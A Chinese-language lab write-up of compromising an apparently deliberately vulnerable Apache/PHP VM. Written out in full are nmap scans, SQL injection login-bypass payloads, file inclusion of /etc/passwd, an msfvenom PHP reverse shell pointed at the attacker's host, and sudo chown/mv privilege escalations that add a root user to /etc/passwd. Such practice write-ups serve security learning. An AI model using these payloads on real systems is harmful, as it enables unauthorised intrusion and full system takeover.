信息收集階段
存活主機探測:arp-scan -l
當然了,正常來說我們不應該使用arp進行探測,arp探測的是arp的緩存表,我們應該利用nmap進行探測!
nmap -sT --min-rate 10000 192.168.182.0/24
端口探測
nmap -sT --min-rate 10000 -p- 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:BC:05:DE (VMware)Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds
只開放了80端口??
避免出現遺漏,做了UDP的端口掃描:
nmap -sU --top-ports 20 192.168.182.132 PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp closed dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)
版本服務信息探測
nmap -sT -sV -sC -O -p80 192.168.182.132Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
80端口上開啟的是apache服務,然后存在PHP版本是5.2.4 目標靶機可能是一臺ubuntu
漏洞腳本探測
nmap -sT --script=vuln -p80 192.168.182.132
滲透測試
既然只有一個端口的話,那就直接去訪問一下把
????????Na...工廠產品服務器,然后下面提示我們必須登錄來查看受限制的內容!
????????旁邊有兩個鏈接,分別是主頁和登錄的界面!
????????首先在這里我便嘗試了弱口令進行登錄,發現登錄不成功!
????????有提示信息!給到了系統管理員的郵箱地址!感覺前面的名稱就是系統管理員的名稱吧?不妨再試試他的用戶名加上弱口令?無果!
直接上bp抓包進行測試:
突然發現了url地址上面的參數!測一波文件包含!
可以文件包含,但是讀不到/etc/passwd
回到sql注入上把,首先測試了user_name上并沒有sql注入!password呢?
????????出現了報錯!存在sql注入了!
直接上sqlmap吧:
????????一鍵化:
python sqlmap.py -r 1.txt --dbs -dump -batch
同時還發現了幾個路徑!
先看看這幾個文件是否能夠訪問到吧:
顯示內容被限制了,應該是我們登陸進去才可以訪問!這里在訪問messageboard.php的時候,通過文件包含訪問到了如下的信息:
最下面還存在一個提交的地方:
不知道能不能上傳文件!嘗試一下!
能寫,但是并沒有被解析!其他的頁面都是content restricted!
還是嘗試進行登錄!本來上面登錄錯誤的時候我們就看到了system administrator!想用這個賬號進行登錄的,但是沒登陸成功!(后面有測試了下這個system administrator賬號 可以登錄 但是沒有上傳的權限!)嘗試其他的賬號 這里利用第一個賬號便成功登陸進來了!
可以看到有很多的鏈接!一眼看上去就是去看看upload是否能夠上傳文件!
看看能不能上傳!
home目錄還不讓這個用戶上傳~
看看別的東西,在目錄上面發現了整個公司員工的個人信息:
這些個人信息或許在后面的滲透過程中,會起到作用,但是我還是想上傳,嘗試下其他的用戶能不能上傳吧先!
發現第二個用戶便可以上傳文件,有權限了!問題又來了 文件上傳之后的路徑沒有~
回去看看信息收集的路徑吧,除了icons目錄下面存在東西之外其他的都看不到!發現標題說的是家目錄上傳!
http://192.168.182.132/~username/
找到了文件上傳的路徑,但是他執行不了~ 第一次遇見執行不了的文件~
前面上傳的時候可以自動提取壓縮包里面的文件,構造壓縮包:
tar -zcvf info.tar.gz info.php
直接上傳壓縮包!
這里直接利用msfvenom生成反彈shell的木馬,進行上傳!
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php
之后嘗試利用tar進行壓縮!
本地起監聽:之后訪問這個shel1.php文件,但是發現執行就斷開了。。。
不知道這是為啥!/usr/share/webshells下面也有反彈shell的腳本,嘗試拿出來在試試:
現在重新進行打包上傳!
本地起一個監聽:
利用curl觸發反彈shell:
curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php
成功拿到了shell!
提權
利用dpkg判斷是否存在python!嘗試建立一個交互性良好的shell環境!
dpkg -l | grep python
存在python!
python -c "import pty;pty.spawn('/bin/bash')"
嘗試看一下當前用戶可以執行哪些特權:
發現存在四個命令,在使用的時候,可以以root身份進行運行并且不需要密碼!(chown chgrp tar mv!)
首先來了解一下chown!這里我google了chown提權!這個命令確實能夠實現提權!!!
chown命令
chown是linux環境下用于設置文件所有者和文件關聯組的命令,當以root權限運行chown的時候,有多種
可能性可以實現提權!
示例
用戶可以通過sudo運行chown,且沒有任何的參數!
運行下面的命令可以修改/etc/passwd文件的所有者為test用戶,然后通過修改該文件進行提權:遮蓋題目為例題進行演示:
#首先我們通過sudo -l 查看當前用戶的權限,發現該用戶能夠以root身份執行chown 并且不需要密碼
#當前用戶是www-data
sudo chown www-data /etc/passwd
之后我們隨便找一個密碼(superman),利用openssl對其進行加密:
openssl passwd superman
$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0
然后在/etc/passwd文件中添加一個具有root權限的新用戶(比如說是root2),并使用上面生成的加密密碼!
echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd
查看是否存在追加成功!
追加成功,嘗試使用root2的身份登錄:
su root2
????????提權成功!參考鏈接:Linux提權系列 - chown - 掘金
【補充】
????????看了紅隊筆記的視頻后,發現自己遺漏了很多的東西,雖然這個靶場打通了~
sql注入突破
????????完全沒必要上sqlmap,而且在練習的過程中,盡量不要使用大型的一鍵化的工具!
既然我們知道了存在sql注入,那么就可以使用萬能賬號和萬能密碼進行登錄:
因為sql注入的點在密碼字段所以用戶名任意
密碼是' or 1=1--
直接登陸成功!用戶是:
alamo!!!
????????然后就是文件包含,因為上面我也知道存在文件包含,但是一直沒讀到什么有價值的東西,突破點錯了:
????????display file:顯示文件! 查看源碼:
????????發現確實下面都是文件!!!嘗試修改為/etc/passwd
????????然后再次點擊display file,可以看到參數是text_file_name,之后我們就可以直接將這個參數寫在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd
成功讀取到/etc/passwd文件 ,發現了很多的用戶信息!讀取shadow文件不成功!之后便是到了文件上傳的地方,一開始使用alamo這個賬號是沒有上傳的權限,就是根據這里的passwd文件中的各個用戶信息!我們嘗試換一個賬號進行登錄:
select * from accounts where username='' and password=''
既然我們已經知道了sql的查詢語句,因此我們嘗試用戶名就是xxx,隨便寫,后面的password給一個' or username='etenenbaum'--
select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '
成功登陸上來!之后我們發現利用upload.php文件進行上傳。后面交給transfer.php文件進行處理,那么我們便可以通過文件包含的形式來讀取transfer.php文件的源碼!
知道了他是利用tar進行文件的解壓,那么我們便可以給他上傳一個利用tar壓縮的壓縮包(里面就是反彈shell的文件 !)
之后還利用到了locate查找文件!(查找符合條件的文件,他會去保存文件和目錄名稱的數據庫內,查找符合文檔樣式的文件)
還有一個點就是越權!利用bp抓到的數據包在cookie字段存在uid=1,這里修改uid=2 就可以實現越權!
提權
然后就是提權的過程,跟我的方法也是不一樣,用到了mv!mv 文件1 文件2 這種方式可以將文件1 重命名為文件2
那么他就是利用mv /bin/su /bin/tar 因為tar執行的時候是以root身份執行的并且是不需要密碼的,所以說將su重命名為了 tar 執行tar 實際上執行的是su
首先將tar備份一下!然后我們將/bin/sh 重命名為/bin/tar !利用sudo tar 執行tar!實際執行的是/bin/sh
也可以是/bin/su 重命名為/bin/tar!(sudo tar)
直接輸入su 就是切換到root用戶,然而執行這個命令,又不需要root的密碼,因此就成功的實現了提權操作!